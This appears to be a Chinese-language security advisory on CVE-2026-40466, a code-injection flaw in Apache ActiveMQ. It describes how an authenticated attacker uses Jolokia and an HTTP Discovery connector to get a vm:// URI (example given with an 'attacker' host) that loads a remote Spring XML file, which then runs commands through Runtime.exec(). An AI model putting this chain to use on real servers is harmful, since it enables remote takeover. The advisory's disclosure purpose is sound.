CVE-2026-40466Apache ActiveMQ 中存在代码注入漏洞。经过身份认证的攻击者可以通过 Jolokia 接口调用 BrokerView.addNetworkConnector 或 BrokerView.addConnector,利用 HTTP Discovery 传输连接器绕过 CVE-2026-34197 的修复。攻击者诱导 ActiveMQ 连接到恶意的 HTTP 端点,该端点返回包含 VM 传输的 URI,从而绕过安全验证。随后,攻击者利用 VM 传输的 brokerConfig 参数加载远程 Spring XML 应用上下文,在 Broker 服务验证配置之前,通过 Spring 的 bean 工厂方法执行任意代码,导致服务器被完全控制。
该漏洞的核心在于 Apache ActiveMQ 对 HTTP Discovery 传输连接器的验证逻辑存在缺陷,且与 Spring 框架集成时存在时序问题。当 activemq-http 模块存在于类路径中时,攻击者利用 Jolokia(JMX-HTTP 桥接)接口获得管理权限。首先,攻击者添加一个指向恶意 HTTP 服务器的 Discovery 连接器。ActiveMQ 请求该服务器时,服务器返回一个伪装的 VM 协议 URI(如 `vm://broker?brokerConfig=http://attacker/poc.xml`)。由于 VM 协议被信任,ActiveMQ 尝试加载该配置。关键漏洞在于,Spring 的 ResourceXmlApplicationContext 在加载 XML 配置时,会立即实例化所有单例 Bean,而此时 ActiveMQ 的 BrokerService 尚未执行配置验证逻辑。攻击者构造包含 `Runtime.exec()` 调用的恶意 Spring Bean 定义,导致在验证阶段之前即在服务器端执行任意系统命令。